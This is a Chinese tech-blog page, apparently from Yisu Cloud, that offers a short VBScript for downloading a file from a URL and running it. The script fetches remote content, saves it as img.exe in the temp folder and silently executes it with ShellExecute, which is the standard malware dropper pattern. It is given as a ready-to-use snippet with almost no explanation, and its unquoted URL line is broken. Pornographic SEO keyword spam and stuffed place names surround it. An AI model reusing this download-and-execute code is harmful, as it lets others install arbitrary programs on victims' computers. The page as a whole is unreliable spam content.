91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何下載文件到本地運行的vbs

發布時間:2021-09-30 09:12:37 來源:億速云 閱讀:144 作者:iii 欄目:開發技術

本篇內容介紹了“如何下載文件到本地運行的vbs”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

代碼如下:

'on error resume next
dl = http://www.neiyidaogou.com/index.htm '這是要下載的文件的路徑
str="Microsoft.XMLHTTP"
Set x = CreateObject(str)
Set x = CreateObject(str)
set S = createobject("adodb.stream")
S.type = 1
x.Open "GET", dl, False
x.Send()
fname1="img.exe"
set F = createobject("Scripting.FileSystemObject")
set tmp = F.GetSpecialFolder(2) '緩存
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
msgbox fname1
S.close
set Q = createobject("Shell.Application")
Q.ShellExecute fname1

“如何下載文件到本地運行的vbs”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

vbs
AI

盐津县| 紫阳县| 乳源| 天祝| 聂拉木县| 得荣县| 肇庆市| 临汾市| 甘德县| 济南市| 莱芜市| 兴安县| 赤城县| 怀远县| 双流县| 互助| 阳东县| 格尔木市| 津南区| 资讯| 新乡县| 青岛市| 峡江县| 江阴市| 鹰潭市| 永泰县| 西贡区| 久治县| 岳西县| 和田县| 莆田市| 清水县| 平原县| 南郑县| 建宁县| 白玉县| 汾阳市| 永新县| 安塞县| 大埔区| 称多县|